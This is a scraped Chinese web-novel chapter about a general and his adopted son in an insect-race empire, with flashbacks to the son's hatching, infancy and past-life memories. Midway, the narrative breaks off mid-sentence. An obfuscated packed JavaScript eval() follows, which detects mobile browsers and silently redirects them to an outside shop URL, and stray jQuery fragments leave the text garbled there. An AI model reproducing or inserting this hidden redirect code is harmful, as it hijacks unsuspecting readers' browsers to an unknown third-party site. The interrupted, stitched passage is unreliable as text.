文趣网 > 都市小说 > 狗1就该撅强受! > 22. 介于青涩与成熟间的美貌雄虫
    雄虫身上有介于青涩和成熟之间的奇异的魅力。

    这时,伊弥才真正觉得他的孩子长大了,欣慰之余又觉得亏欠。

    伊弥的语气是他都不知道的温柔:“雌父就是来看看你的身体。你小时受伤哪次不是我帮你搽药,更小的时候雌父还伺候你吃饭,伺候你穿衣伺候你睡觉,难道阿利塔斯成年了就不相信雌父了?在关心自己的孩子上,雌父还比不上那些侍虫?”

    阿利塔斯没有答话。

    伊弥盘腿坐在药箱旁,捞起袖子,调试着膏药说道:“雌父知道,我缺席你的成年礼,你不开心,今年战火即将平息,我也受重伤站不能上战场,有很多时间能陪你。雌父在梅斯伦宫帮你补办成年礼,比虫皇陛下给你的更盛大、更热闹。”

    “可好?”伊弥左手托药盘,右手伸向阿利塔斯。

    壁台烛光下,伊弥冷峻的眉眼间竟也淌出几分柔情。

    阿利塔斯错开他的视线,发尾撩过伊弥的指尖,自己攀楼梯上了岸,盘坐在伊弥对面。他笑道:“一个成年礼而已,雌父不需挂念。”

    伊弥早就收回手,表情看不出情绪,“背过身,雌父帮你上药。”

    阿利塔斯瞥了他一眼,转身背对伊弥,撩开长发挽到肩前,伤口从后颈到尾椎,泡得发了白,红的肉和粉的肉都在绽开,狰狞得可怕。

    伊弥眼神变了:“泡了多久?”

    阿利塔斯悠悠道:“没多久。”

    伊弥咬牙,手迟迟没有落下,“……你是想留疤吗?”

    “雌父不也喜欢泡?”

    阿利塔斯侧过面庞,乜斜着他,慵懒不在意的样子让伊弥十分地想揍这个不安分的孩子。

    “……”伊弥把浴巾按上去,得到一声闷哼,再掀开,纯白的浴巾染成红色,他又换了一条,轻轻地蹭上去,一点一点把外涌的血吸干。

    阿利塔斯的背脊在发抖,还在笑:“雌父,你受重伤了,他还会召你去吗?”

    伊弥抬眼,眼神犀利:“阿利塔斯。”

    阿利塔斯拉长了声音哈哈两声,极为的讥讽,他说:“父皇还会召你吗?”

    “不要妄加猜测陛下的事。”伊弥把干净毛巾扔到他脑袋上,“擦干,免得受寒。”

    阿利塔斯又探向耳后,伊弥眼疾手快,握住他的手,他特地来安抚生气的小雄子,怎么可能再让旁虫来打扰,伊弥硬邦邦问道:“你又怎么了?”

    “不想自己擦,好麻烦。”

    阿利塔斯的长发垂在腿上,厚重又漂亮,确实不能让娇贵的雄虫处理这些,伊弥拿过浴巾,“雌父帮你擦完药,就帮你擦头发。”

    “没事,我叫侍虫来吧。”阿利塔斯说着动了动手,没抽出来,转过头说,“雌父,你捏疼我了。”

    伊弥恍然松手,喉结滚动几下也没说出个什么,他在外和军雌们待太久,都已不知道怎么对待高贵的雄虫。所幸,他的雄子与其他雄虫不一样,伊弥的目光放在阿利塔斯身上,矜贵长相,待虫友善,只是偶尔的娇气,不乱发脾气、不打侍虫、还聪明好看。

    在阿利斯塔身边,伊弥不用做下等雌虫,就只是一个雄虫的雌父。

    伊弥眼中又流露出一个雌父的柔情光辉,小心翼翼帮雄子上药,手臂上的肌肉绷得紧,小麦色的手与冷白的背脊形成巨大色差。

    伊弥不赞同道:“阿利塔斯,你怎么更白了?太白了也不好,你看看你在灯光下都白到透明了,一点都不好。要偶尔晒晒太阳,对身体好。”

    “……雌父,白是雄虫天生的。”阿利塔斯歪过身子,第一次产生无语的情绪。

    药膏擦歪,滑过阿利塔斯的腰,甩到玉砖上,伊弥摁住雄虫的腰,“别乱动!”

    “哈哈!雌父好痒啊!”阿利塔斯动得更厉害,左扭右扭,抓住伊弥的手,想扯下去。

    伊弥更摁得老紧,“你小时候都不怕痒,别胡闹!”

    阿利塔斯一个雄虫的力量哪比得过军雌,更别说是军雌中的佼佼者——伊弥上将,阿利塔斯笑得两眼弯弯,痒得摔了,倒在伊弥身上,四仰八叉,两条白皙的长腿还在空中乱蹦,跟卷上岸的鱼一样翻滚。

    伊弥这才相信雄子怕痒,讪讪松手。

    哐当——

    侍虫惊恐地望着他们,瓷瓶摔在白玉砖上裂成几半。他表情比瓷瓶更破碎,膝盖一软跪在地上,不停磕头:“上将,殿下,我什么都没看见!我走错地方了!饶了我吧!”

    “你在说什么?你看见了什么?”阿利塔斯坐直,表情不解又不悦。

    “什么都没看见!殿下我走错了,以后再也不会了!”侍虫趴在冰冷的地板上,嘴唇贴着地面说道。

    伊弥的心已坠入谷底,背脊冒上一丝寒意。他不仅是阿利塔斯的雌父,更是一个雌虫,与成年后的雄虫不应该举止亲密。他看向阿利塔斯,除了下半身的内衫,就是浑身赤裸,他和阿利塔斯刚刚做了什么?

    伊弥转过脸问:“你的编号?”

    “回上将,164。”164趴跪在地,露出脖颈,和脖颈上的虫纹,他害怕到了极致。

    阿利塔斯摆手:“处理好这些,赶紧离开。”

    “是!谢谢殿下!”164匆匆收拾好,端着一盘瓷碎片,小跑离开。空旷的月池再次剩下伊弥和阿利塔斯,透明的池水静静流淌,几簇烛火默默燃烧,月池安静得没有一丝声音。

    阿利塔斯回过身,眯眼笑:“雌父,我不动了,你帮我上药吧。”

    “阿利塔斯,是雌父的错。”伊弥站了起来,表情严肃:“你已成年,雌父不能再像小时那样处处帮你了。”

    眼见他要走,阿利塔斯爬起来抓住他,却被甩开,眼里顿时泛起一层水光:“雌父,所以,雌父你就要离开我,再消失个几年?”

    小时候阿利塔斯的泪眼是软萌可爱的,长大后却多了层别样的感觉,伊弥作为他的雌父,就算不是亲生的,伊弥也已把他当成自己亲生的孩子,伊弥移过视线,硬下心道:

    “雌父的意思是,你长大了,我们得保持一定的距离。你,你先穿上衣服。”

    阿利塔斯瘪嘴:“穿上衣服怎么擦药?”

    伊弥:“。”

    伊弥扶额,“你穿上,让侍虫帮你擦。”

    阿利塔斯向前走几步,伊弥后退几步,一个赤裸的虫竟比一身严实军装的虫气势更大,阿利塔斯步步紧逼,伊弥不断后退,直到背抵在罗马柱上,他瞪起眼:“雌父的话都不听了!”

    阿利塔斯垂首,长发耷拉着:“雌父一开始不让侍虫帮我,现在又反悔,说话不算话。”

    “阿利塔斯长大了就该懂事。”伊弥毫不心虚,为了他们以后的生活就该这样,便推开了雄子。

    阿利塔斯去穿浴衣,一个侍虫走进来,掀开一部分衣裳,帮他搽药,伊弥就在前方帮他擦头发。手心的发丝如绸缎般顺滑,伊弥的动作很是小心,生怕弄坏了这头靓丽的长发,他专注着,一道阴影从天而降,等他反应过来,阿利塔斯靠在了他的怀里。

    白色的睫毛垂下,双眸紧闭,呼吸绵长轻缓,阿利塔斯疲惫入睡。

    伊弥轻声道:“处理好后送他回房。”

    “是。”

    伊弥离开。侍虫继续帮殿下搽药吹发,之后侍虫叫其他虫来搬了个床,再把床连同虫一齐抬上电梯,送三殿下回到寝宫。

    在落地梅斯伦宫时,伊弥精神再次暴乱,希林匆匆赶来,刚触碰到上将时,希林痛得脸色发青,冷汗直流,侍虫找来医生,医生检测完,嘴唇都在发抖:“上将,上将的S级有隐隐往下掉的趋势。这,这连A级都撑不了多久,长此以往也会被上将影响从而阶级下跌。”

    如今只能让上将先撑住,医生和其他虫去找雄虫来一起治疗,希林一个人进入上将的精神域,孤立无援,这里黑雾重重,还有浓重的作呕的血腥味。

    黑雾散去,空间扭曲,这是一间布满红丝绒的卧室,繁华富贵的床上坐着一精致漂亮的卷毛雄虫,床下跪着位高大的黑发黑眸雌虫,希林四处张望,在角落寻到了上将,约莫只有八九岁。

    希林冲过去拦住空中的鞭子,却落了空,一穿而过,令人刺耳的鞭打声在空旷的室内响起,一声又一声仿佛打在自己身上,希林跑到角落,抱住幼年上将,白光自他身上出现。

    上将疯了般对他拳打脚踢,想要跑出去,两只手伸向他的雌父绷得紧紧的,口中发出嘶哑的声音,虫纹显现,翅翼展开,整只虫都在暴怒。

    希林加大精神治愈力度,哪怕把自己耗干都在所不惜。

    他在和上将的暴乱源做斗争,直到那只虫倒地发出巨响,希林被击飞,口吐鲜血,小上将完全虫化,虫纹发红发烫,飞向红丝绒床,钢甲手将床上的雄虫划成了几块,双眼通红,寻找到下一个目标,雄虫希林。

    希林转身就跑,向着白光跑去,却又被推回,来了两个B级雄虫,三虫相视一眼,围住小上将,白光将小上将完全笼罩,周边的温度逐渐上升,温暖如春,精神暴乱结束。

    希林和另一位雄虫先行退出,只留一个雄虫进行精神疏离,过多的雄虫同时进入精神域极为危险,为了他们也为了上将,他们只能离开。

    刚断开连接,希林便往后一倒晕了过去。

    第二天,伊弥醒来,他扶着仿佛宿醉后的脑袋,病气萦绕眉宇,挥之不去,远远看去仿佛瘦了似的。副官低声告诉他等级的事情,沉默了会伊弥点头,神情冷漠带着军雌特有的狠戾之气。

    伊弥问他:“他又打你了?”

    副官捂着肩膀,笑不出来,遂点点头。

    “招揽的事情有进展吗?”

    “还没有消息。”副官有些挫败。

    伊弥道:“封锁我等级的事,重点看管那几个雄虫,小心点别惹上雄虫保护协会。”

    副官点头,退出去。

    伊弥想起了他的雄子,从诞生开始就与其他雄虫不同。

    ……

    十八年前。

    教堂里,浅灰色的玻璃花窗下站立着黑色军服的虫,他们低着头双目禁闭,双手合十,口中念念有词,数百位军雌一同悼念他们的上将。

    最中央是高大十米的天神,面目悲悯,祂的下方,教父围绕黑木棺椁,无脸面具代表他是神的使者,替神带走这个为王国捐躯的上将。

    乌鸦啼鸣,鸽子盘旋,黑与白的交织。

    葬礼已到尾声。

    众虫目送棺椁坐上前往墓园的马车。

    伊弥耳后微微发烫,亮起红光,他眼睛蓦地睁大。

    上将的虫蛋即将破壳!

    伊弥转身,向东方而去,身后是阴沉的天空,前方是白如雪的云天,一黑一白泾渭分明。

    他赶回了梅斯伦宫,大步向孵化室前进,披风在半空猎猎翻飞哗哗作响,侍虫为他打开大门,走入孵化室,虫皇和其他贵族官员都围在窗边,黄金孵化台上的水晶舱里,架着一颗银白的虫蛋,边缘有条裂缝。

    虫蛋左右摇晃,裂缝也愈来愈大,背部破碎的声音在寂静的室内很是清脆响亮。

    当晚霞的金光洒下,干净的雪花落入其中,蛋壳裂了,一个小脑袋顶着块碎壳探出,幼虫有着雪白的睫毛、湛蓝的眼睛,雪花落到水晶壁上,他的小手指也探了出来,点着自己的鼻子,咯吱咯吱笑。

    空气里有着吸气声。

    “雄子!虫啊是漂亮的雄虫!”

    “已有八年没新雄虫诞生了!”

    “我的虫啊!这是天神下凡!”一贵族惊呼。

    “八年来,梅纳星终于下雪了!”

    “哦,身披霞光的小天神~”

    贵族们都在感叹。

    幼虫坐在架子上四肢乱蹦,穿着蛋壳衣滚下,趴在水晶壁上对他们笑,手上不安分的推动,圆润的小手用力得发抖。虫皇按下开关,水晶罩收回机器里,幼虫一骨碌滚到虫皇手中。

    “你就叫阿利塔斯·诺兰了。”虫皇手托漂亮得如同天使的幼虫,虫皇秀丽端正的容颜,身穿庄严白袍,他们站在金光中,像极了大天使小天使。贵族们都在贺喜虫皇又得一个雄虫,还是如此漂亮的孩子。

    “我将卡希尔庄园赐给阿利塔斯。”虫皇看向伊弥,“他由霍尔上将所生,作为他的副官,阿利塔斯就过继到你手下,成为你的雄子。”

    伊弥小心翼翼接过孩子,两手托着幼虫,手心里的幼虫眨巴眼睛,看着又一个陌生人,嘴巴吧唧好似在说什么。

    自此,身为虫皇雌侍的伊弥,和虫皇之子阿利塔斯,两虫一同住进梅斯伦宫。

    偌大安静的宫殿逐渐热闹起来,处处都是幼虫清脆的笑声。

    阿利塔斯尤其喜欢笑,笑不见眼也不见牙。

    阿利塔斯喜欢吐泡泡喜欢啃手指,喜欢黏好看的虫,贴在漂亮虫上不肯离开,若是不好看的虫抱他,阿利塔斯是万万不给抱的。有丑虫偷偷地强行要抱,阿利塔斯就会用牙龈咬丑虫,丑虫不疼反痒得发笑,更多丑虫凑上去想要被咬。

    美雌虫丑雌虫都抢着抱漂亮可爱的小雄虫,甚至轮班排队。

    有一次被伊弥看到丑虫强行抱阿利塔斯,丑虫被罚住东塔三日,这可是梅斯伦宫里第一次进行处罚。

    侍虫们便明白了,外表极冷酷、心地极善良的伊弥上将,即使再好说话,有关阿利塔斯的事,也说一不二。

    伊弥看到阿利塔斯被丑虫气到要哭的委屈表情,感到愧疚,便开始亲自照料他;近几年战事平息,伊弥更是安心待在梅斯伦宫,专心照顾阿利塔斯。

    “mama……”阿利塔斯仰躺小床上,抓着自己的小脚丫,吐着泡泡冲伊弥囔囔。

    伊弥偏头问幼虫师:“他在说什么?”

    “抱歉上将,我从没听过。”幼师挠着头顶的几根头发不好意思笑笑。

    阿利塔斯伸手要抱,阿巴阿巴说个不停,脸颊急得红成一片,伊弥急匆匆戴上手套才把孩子抱入怀。阿利塔斯回到妈妈怀里后咯咯笑,左蛄蛹右蛄蛹,在妈妈宽广的胸膛里肆意翻滚,伊弥表情僵硬,像捧着个炸弹。

    “ma!”阿利塔斯抓着伊弥的衣领,往上蹬。

    伊弥把他拽回怀里。

    阿利塔斯翻滚闹别扭:“啊啊啊啊!ma!”

    “三殿下真闹挺,哈哈,非常可爱哈哈。”幼虫师笑得头上三根毛都随风飞舞。

    伊弥只觉得自己非常狼狈,脸都黑了,一股煞气喷涌而出。幼虫师行礼后转身就走,门关得死死的。伊弥这才收回眼神,一看幼虫也被吓到,眼睛里有层泪花,小嘴高高撅起,都能挂油壶了。

    “阿利塔斯,雌父错了。你笑笑?”伊弥刮刮小雄子的小鼻子,柔软的羊毛手套蹭得阿利塔斯的鼻子痒,冷不丁打了个哈欠,呆萌的表情惹得伊弥嘴唇忍不住的往上翘起。

    阿利塔斯四肢乱舞:“咯咯咯……”

    伊弥眉目间是他不知的温柔风情:“你笑什么呢?”

    “ma!”阿利塔斯拽着伊弥的衣领往上蹬,继续他的爬山任务,这次伊弥没有阻止,托着他的小屁股,缓缓向大床靠近,生怕他摔到坚硬的大理石上。在来到床边时,阿利塔斯爬到伊弥的肩膀上,抱着伊弥的头,小嘴亲了几口伊弥的耳朵,咯咯笑:“mama……”

    伊弥痒得笑出声,笑到无力,抱着孩子倒在了床上。

    “mama到底什么意思?”伊弥捏着雄子的小脸蛋问。

    阿利塔斯歪头,水灵灵的眼睛一览无余,他听不懂。

    “好的。等你长大还有记忆的话可以告诉雌父。”伊弥微笑:“或者雌父问长大后的阿利塔斯。”

    “mama。”阿利塔斯爬到他胸前,咬着他的衣服,吧唧吧唧,丝绸睡衣上全是口水。伊弥再次把阿利塔斯扯下来,阿利塔斯愣愣地望着他,伊弥倍感无奈:“你真是个特别的孩子。”

    “哇啊啊啊——”阿利塔斯扯开嗓子哭叫,泪水弄湿了整张小脸。

    伊弥吓得起立,阿利塔斯第一次哭,为什么会哭!伊弥凭借科科第一的智商,端着阿利塔斯抱到胸前,还摁着他,生怕他掉下去又哭。

    非常神奇,阿利塔斯停止了哭泣,继续嘬着胸前那可怜的两块布料。伊弥其实有点疼,但隐忍不发,咬着牙没吭声,他按向耳后芯片,询问幼虫师幼虫咬/胸的原因。

    “……上将抱歉,我不知道。”

    伊弥脸色铁青。

    阿利塔斯又哇哇大哭了。

    伊弥扶额:“他又哭了,他哭的原因是什么?”

    “这个我知道!”幼虫师滔滔不绝:“虫崽饿了。虫崽疼了。虫崽痒痒。虫崽不开心。虫崽拉了。”

    伊弥切断通讯,掀开虫崽的尿布,干净无味,再查看虫崽的身体,翻来翻去没看到伤口,伊弥叫虫送来一车食物,阿利塔斯顿时停止哭泣,翻身,想爬下床。伊弥抱着阿利塔斯,喂他喝米糊糊,动作非常轻柔,米糊糊给鼻子吃了。

    “哇啊啊啊!”阿利塔斯爆哭。

    侍虫弱弱出声:“上将,要不我来吧?”

    伊弥面无表情:“不用,你们下去。”

    侍虫们不放心地看了眼虫崽,还是不敢违背命令,悄声退下。伊弥等他们走后,松了口气,怎么养虫崽比打仗还难,要死虫崽蛄蛹,米糊糊安全进口。

    伊弥叹气。

    “阿利塔斯别乱动了。”伊弥把阿利塔斯鼻子上的米糊糊擦掉,捏着他的小下巴,米糊糊安全送入口中了,阿利塔斯眼巴巴瞅着下一勺,小胖身子非常端正。

    一勺又一勺,阿利塔斯的肚子慢慢鼓起,伊弥眼睛都睁大了,虫崽的肚子能涨这么大?他把小车推远,不让吃了。阿利塔斯伸手挽留米糊糊,泪眼汪汪。

    伊弥星脑联系幼虫师,通过视频给幼虫师看阿利塔斯的情况。

    伊弥举起阿利塔斯,小肚子对准屏幕,问幼虫师,“还喂他吗?”

    “这,这肯定是不能再喂。”幼虫师干笑,“雌虫宝宝吃得多很正常,就是雄虫宝宝吃这么多属实罕见。不能再吃,等会吐了。”

    听到这句伊弥眼神一变,幼虫师哈哈笑:“可我们三殿下就是最特别的,出生大雪晚霞,吃得多一点那确实正常不过。”

    “他又哭的话怎么办?”

    “上将帮他揉揉肚子,给他听音乐。”

    “好的。”

    伊弥遵循幼虫师的建议,在阿利塔斯哭之前,温暖的大手贴在阿利塔斯的圆肚子上,围着肚脐眼打圈按摩,轻缓欢乐的音乐流淌而出,阿利塔斯没骨头似的躺下,睡在雌父怀里,长长的睫毛颤动,眼睛微眯,小呼噜都哼出了。

    伊弥把虫崽弄直了些,刚吃就睡,甚至两餐间隔才一小时,不容易消化……

    对于这些记忆,阿利塔斯竟然还记得大概。今年三岁半,他觉醒了一些前世蓝星的记忆,知道自己十三岁死亡,胎穿来到虫族世界。

    阿利塔斯扫视每一个人,不对每一个虫。他不喜欢这些虫的眼神,太过炽热,整个中庭,数十位侍虫注意都在他身上,眼神都是无法言说的热烈的痴迷目光。

    “殿下,伊弥上将来接您了。”

    阿利塔斯扭过身子,没看到自己的肚子duanduan……

    阿利塔斯最不想看到的就是这位雌父。小时候,他竟然对着高大如山的男人喊妈妈!还不知道喊了多少遍!

    “阿利塔斯,雌父回来了。”

    伊弥白蓝军装,头发尽数后拢,露出光洁的额头和高挺的鼻梁,英俊逼虫气场强大,这是曾经的杨骁现在的阿利塔斯第一次目视雌父的模样。小时候的记忆不清,只有宽厚的胸膛印象深刻。

    阿利塔斯微微一笑,“雌父,吃过饭了吗?”

    伊弥看向侍虫,侍虫摇摇头,151说道:“殿下许久未见到您了。”说完,151带着其他侍虫退出中庭,樱花林中的亭阁只剩下高大的军雌和小小的虫崽。

    伊弥走向小萝卜头,半跪在小萝卜头前面,特意软了语气:“是雌父不对,雌父总是出去开会训练忘记我的阿利塔斯了。这段时间,雌父好好陪你好不好?”

    “没关系的雌父,我知道你忙,我一个虫画画很开心。”阿利塔斯的声音稚嫩可爱,态度却是疏离。伊弥已忘记阿利塔斯的性格,很小的时候是喜欢笑的吧?后来时时出去开会,也许久没见虫崽。

    伊弥只当虫崽长大了。

    “好吧雌父明白了。你陪雌父去吃饭吧。”伊弥说着就要抱虫崽,被躲了去。

    阿利塔斯跑到莱姆石桌后坐下,小脚悬空晃着,笑嘻嘻露出小虎牙,“我想在这里画画。”

    伊弥撑着膝盖起身道:“那雌父在这里用餐,樱花林的风景确实很不错。”伊弥按下耳后芯片叫虫送食物来,再叫侍虫送来画具,阿利塔斯还小便没有安装芯片。

    “你的画具很快到了,在此之前要不要和雌父说说话?”伊弥坐到莱姆石凳上,和虫崽相隔一个莱姆石凳的距离。

    阿利塔斯翘着脚丫,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708624|208376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    望向他的浅蓝的眸子澄净漂亮,“雌父想聊什么?”

    “阿利塔斯很喜欢看书吧,说话像个小大虫,非常成熟。”伊弥开玩笑道。其实小雄虫怎样特别,伊弥都不在意,小雄虫从出生就是特别的。

    阿利塔斯高高扬起下巴,弧度矜贵傲气,嘴角上翘时又娇气可爱,“喜欢。”在慢慢恢复记忆前,他也喜欢看书。

    “吃完饭雌父带你去藏书室吧。”伊弥伸手要捏虫崽的小鼻子,又被躲开,阿利塔斯皱起鼻子,整个身体都往后仰:“不要,我要画画啦,雌父回去好好休息吧。”

    “……好吧。”伊弥收回手,脸色不太好,不虞的情绪使得他冷酷的样貌更不近虫情。

    这时侍虫们一字排着推来餐车,推来画具。前头的先给莱姆石桌铺上樱花粉绸缎桌布,珐琅花瓶摆在阿利塔斯的前头,瓶中是上下交织错落的樱花枝,粉绿点缀餐桌,煞是好看。

    “要一起吃吗?”伊弥问。

    阿利塔斯摸了摸肚子,点头。

    伊弥坐到虫崽对面,莱姆圆桌的另一头。

    侍虫们把花瓶移到中央,把上将和虫崽的食物分别摆在他们前面,一侍虫端着黄金雕花盘上前,伊弥取下纯白餐巾盖在腿上,一侍虫推来崽崽椅,阿利塔斯拒绝帮助,跳下石桌,抓着崽崽椅的扶手,小萝卜头非常灵活左右扭扭进了椅里,还自己带上了餐巾。

    “阿利塔斯。”伊弥指着衣领上歪歪的餐巾。

    阿利塔斯不好意思地笑笑,两只手把餐巾摆正了。

    一切摆置好,伊弥让侍虫们下去,开始用餐,他的对面阿利塔斯在正用勺子舀白鱼肉,一个不小心歪到嘴角,肉泥吧唧掉到餐巾上。伊弥收回视线,差点和悄悄抬眼的阿利塔斯打了个照面。

    见没被发现,阿利塔斯坐直了些继续用餐,缓慢而优雅的一口一口干完一小碗鱼肉。在他吃完时,伊弥已经坐在对面,眉目含笑地望着他了。

    “雌父,我吃饱了。”

    “好的,我帮你摆置画具。阿利塔斯要在哪里画画?”伊弥问道。

    阿利塔斯蹦下崽崽椅,跑向楼梯口,伊弥拿上画具几步跟上,他们来到了环形走廊上,能俯视整个中庭,仰视整片天空。阿利塔斯指着围墙旁:“就那里。”

    伊弥过去摆好,再喊151上来,他转身的瞬间脸色一变,沉着脸回寝。

    阿利塔斯让151坐在角落,他挪挪小屁股,对着火烧云开始创作。拥有十三岁灵魂的阿利塔斯专注力很强,虽然没有完全恢复演技,虽然受制于胖乎乎身体的限制,阿利塔斯也在晚上很好地完成了画作。

    整张画一比一复刻火烧云,还添加了其他鲜艳的颜色,色彩饱和炫亮,线条流畅曲线尤其多,形状天马行空,犹如置身于童话的天空。

    “殿下画的真好。”151真诚地夸赞道。

    阿利塔斯画了几个小时发泄过后,眸子亮晶晶的样子惹虫喜欢。阿利塔斯笑道:“谢谢,我也觉得很好。”

    151送阿利塔斯去餐厅,用过餐去藏书室看书、再去盥洗室,阿利塔斯拒绝帮助,自己在里面吭哧吭哧洗漱,出来时已穿好睡衣。虫崽萌萌的大眼睛眨巴,拍了拍衣襟,小大虫一样,惹得侍虫们捂嘴笑。

    阿利塔斯回寝,他三岁半已经独自睡一个屋,角落的小床是照顾他的侍虫所睡,现在却变成了睡着睡袍的伊弥。

    伊弥在书柜前寻找道:“雌父来陪你睡觉,想听什么睡前故事?”

    阿利塔斯摇头:“我长大了,不需要陪,雌父回去吧。”他抓着扶手,踮起脚尖往上爬,被一双手托住屁股,端上了床。阿利塔斯踹开那双手,一头闷进被子里。

    伊弥退后道:“好好好,雌父错了,我回去。”

    阿利塔斯不为所动,直到房间里再没有声响,他探出头,确实离开了,一举掀开被子,对着被子拳打脚踢,踢着提着,眼睛闭上,保持飞天的姿势入睡。

    迷迷糊糊间,阿利塔斯好像看到个人影,接着身子一暖,意识再次模糊。

    之后,伊弥总来陪阿利塔斯,总惨遭拒绝,伊弥被赶去上班,伊弥不听,常常陪伴左右,阿利塔斯就自顾自画画,在宫殿的很多个角落里画画写生。而阿利塔斯也发现了,每个晚上,伊弥都会进来帮他盖被子。在清晨离开。

    阿利塔斯不止不让伊弥抱着走路,也不让陪睡,也不让其他侍虫帮助,自然伊弥还算能接受。

    这天,一大帮虫再次跟着虫崽去画画,阿利塔斯只有他们膝盖高,小萝卜头走在前面,几步才能跟上带路的虫,鹅卵石小路凹凸不平,虫崽身形一晃就要脸着地,伊弥一个箭步冲上去,堪堪接住虫崽,自己摔在地上。

    侍虫们惊呼,把两人扶起来。

    阿利塔斯从伊弥身上爬起来,小手钻着雌父的袖子问:“雌父你没事吧?”

    伊弥的手放在了阿利塔斯的脑袋上,揉了揉,“雌父可是很厉害的,这点小伤,一下就愈合了。走吧,我们赶紧去花园,错过日出就只能等明天了。”

    阿利塔斯点头,往后跑,爬上崽崽椅,让虫推着走了。虫们浩浩荡荡来到花园,红的白的蓝的黄的紫的粉色交相辉映,花朵们迎风招展,美不胜收。画具搭在亭阁中,阿利塔斯坐在特制的靠椅上,专心致志绘画。

    一抹橙红色从天边升起,接着是灿烂无比的金光,转瞬间蛋黄一样的太阳从云里跳到眼前,浅蓝眸子倒映一切,阿利塔斯看着日出,小手自动落笔绘画,一笔一笔涂抹出灿烂日出的轮廓。

    伊弥的余光中,侍虫们眼睛睁大,满意地勾起嘴角。

    这时又传来讯息,伊弥脸色晴转多云,勉强扯起一抹笑:“阿利塔斯,雌父可能又要去开会了。”

    阿利塔斯头都没转,“雌父快去吧,迟到了父皇又得找你了。”

    伊弥伤心而去。

    阿利塔斯继续画着天空花园和虫族的一草一木,时间渐渐逝去,直到完成,他回过头,侍虫们都靠在一旁昏昏欲睡。

    阿利塔斯悄悄溜走,寻着记忆找到藏书室,吭哧吭哧爬到二楼,抹了把汗,继续往上爬,四肢着地,像小狗一样蹬楼梯,一步一步从晌午蹬到傍晚,他蹬到了藏书阁顶层,这个平常不能进入的禁地。

    他想,或许里面有回到蓝星的方法。

    阿利塔斯不习惯虫族世界,不管是身为雄虫还是雌虫,他都觉得可悲。

    只是,阿利塔斯忘了禁地怎么可能没有虫看守,他在最后一个台阶探出头,看见门口的两只虫,两眼一抹黑,脚一软,滚了下去,像个白色的闪电小皮球,从顶楼绕着圆珠子,一路滚回一楼,眼睛闭着,晕了。

    等再次醒来,阿利塔斯看见伊弥在哭,他无法想象高大如山冷峻凌厉的男人会哭,还哭得成这样,一颗颗顺着脸颊下落,珍珠一样大珍珠一样亮。

    阿利塔斯的心空空的。

    他的眼睛一眨不眨,像个漂亮的小木偶。

    阿利塔斯被抱入一个温暖的怀抱里,伊弥揉着他的脑袋,抽泣:“阿利塔斯头还疼吗?雌父找到你的时候,你的头破了个洞不停地流血。”

    阿利塔斯找回了自己的声音,“不疼。”

    伊弥放开他,抹掉眼泪,又变成了那个稳重的上将,侍虫们进来,医生为阿利塔斯再次检查身体,确实无碍后才离开。阿利塔斯发现伊弥很狼狈,头发巴在脸颊上,衣服还在滴水,脚下蓄起一小池水。

    窗外还在下雨,电闪雷鸣。

    阿利塔斯觉得眼睛很痒,使劲去揉,脸颊越来越冰,看见手背上的水时,他才知道,自己居然哭了。

    伊弥紧紧地抱住他,用手帕轻轻地擦掉他的泪水。

    “别怕,雌父在这。”

    阿利塔斯如小狗崽子一头撞进伊弥怀里,不肯出来,不肯让别人看见。伊弥让虫们下去。他们在雷雨天的深夜抱了很久。

    ……

    阿利塔斯醒来,已是第三日,他得知伊弥等级疑似大跌的消息,立马赶去梅斯伦宫。他联系不上伊弥,也联系不上副官,连侍虫都没看见,他只能一处一处找,112没有消息。

    “你去找。”

    111低头道:“可是殿下,我需要保护你的安全。”

    阿利塔斯冷下脸:“在梅斯伦宫我不会有危险。”

    111只好离开。阿利塔斯想起了中庭、环形走廊、花园,还有藏书室,他一处一处去,腿都有些打颤了,都没有伊弥的踪影,他赶往最后一处藏书室,望着小时极远极长的旋转楼梯,踏了上去,走个二层,走过三层,走过四层,一直往上爬。

    阿利塔斯来到顶层,禁区门前已换了守卫。

    红金制服的守卫们看见他,握拳放于心口,齐声道:“参见三殿下!”

    阿利塔斯问道:“你们有看见雌父吗?”

    “伊弥上将向走廊尽头去了。”

    “谢谢。”

    阿利塔斯一直往里走,在走廊尽头的房间门口,鎏金大门中间,伊弥转过身,与他相望。

    “阿利塔斯,你怎么来了?”

    伊弥不等回答,又说:“阿利塔斯是想来禁区吗?小时候你重伤那次就是在藏书阁一楼。我听守卫们说,他们好像看见了一颗白色的小脑袋。对吧?”

    “是的,雌父。”阿利塔斯颔首微笑。

    “阿利塔斯还想进去吗?雌父带你进去?”

    “不用了。”阿利塔斯走进去,站在伊弥身边,说:“雌父,我来帮你精神梳理。”

    伊弥坐下说:“我有专属精神梳理师,今天也已梳理过。阿利塔斯你需要好好养养身体。”阿利塔斯在他对面坐下,伊弥倒了杯葡萄酒推过去,问道:“听说你想出去玩,还想去别的星球?”

    阿利塔斯默然注视他,好一会后点头,饮下半杯,细细回味,口中有清淡甘甜的葡萄味,把剩下的喝完,伊弥含笑望着他,虫崽也变了,喜欢酒,不喜欢喝柠檬汁了。

    阿利塔斯又给自己倒了一杯,饮下,眼神放空,显然是微醺了放松了,整个身子懒散地靠坐着。他随意一问:“雌父为什么切断星脑通讯,我们都找不到你。”

    “突然想起你小时候,不知怎么就走来了这。”伊弥把最后的小半壶酒全倒进自己杯子,一饮而下,痛快地抹了把嘴巴,直视阿利塔斯的眼睛,眉头微皱,抿唇,脸上露出一种尴尬、疑惑又无奈的神情。

    “mama……是什么意思?”

    阿利塔斯神色晦暗地重复:“嗯?mama?”